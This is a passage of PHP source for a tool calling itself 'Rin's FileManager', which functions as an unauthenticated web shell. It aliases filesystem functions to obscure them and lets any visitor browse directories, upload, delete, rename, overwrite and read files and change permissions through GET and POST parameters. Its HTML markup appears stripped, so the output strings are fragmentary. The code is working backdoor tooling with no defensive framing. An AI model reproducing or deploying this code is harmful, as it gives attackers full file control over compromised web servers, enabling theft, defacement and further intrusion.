'getcwd', 'chd' => 'chdir', 'ls' => 'scandir', 'rm' => 'unlink', 'rn' => 'rename', 'up' => 'move_uploaded_file', 'put'=> 'file_put_contents', 'get'=> 'file_get_contents', 'sz' => 'filesize', 'is' => 'is_dir', 'chm'=> 'chmod', 'oct'=> 'octdec' ]; if (isset($_GET['d'])) $fx['chd']($_GET['d']); $pwd = $fx['cwd'](); $list = $fx['ls']($pwd); if ($_FILES['f']) { $tmp = $_FILES['f']['tmp_name']; $name = basename($_FILES['f']['name']); $dest = $pwd . "/" . preg_replace('/[^a-zA-Z0-9_\.-]/', '_', $name); if ($fx['up']($tmp, $dest)) echo "Upload sukses: $name
"; else echo "Gagal upload!
"; } if ($_POST['a'] === 'rename') { $fx['rn']($_POST['src'], $_POST['dst']); } if ($_POST['a'] === 'edit') { $fx['put']($_POST['src'], $_POST['dat']); } if ($_POST['a'] === 'chmod') { $fx['chm']($_POST['src'], $fx['oct']($_POST['perm'])); } if (isset($_GET['del'])) { $fx['rm']($_GET['del']); } echo "Rin FileManager "; echo "

💻 Rin's FileManager

"; echo "

Dir: $pwd


"; echo ""; foreach ($list as $f) { if ($f === '.') continue; $path = $pwd . '/' . $f; $size = $fx['is']($path) ? '[DIR]' : $fx['sz']($path); $link = $fx['is']($path) ? "?d=$path" : "#"; echo ""; } echo "
NameSizeAction
$f$size Del | Rename | Edit | Chmod
"; if (isset($_GET['r'])) { $f = $_GET['r']; echo "

Rename

"; } if (isset($_GET['e']) && is_file($_GET['e'])) { $f = $_GET['e']; $data = htmlspecialchars($fx['get']($f)); echo "

Edit



"; } if (isset($_GET['c'])) { $f = $_GET['c']; echo "

Chmod

"; } echo ""; ?>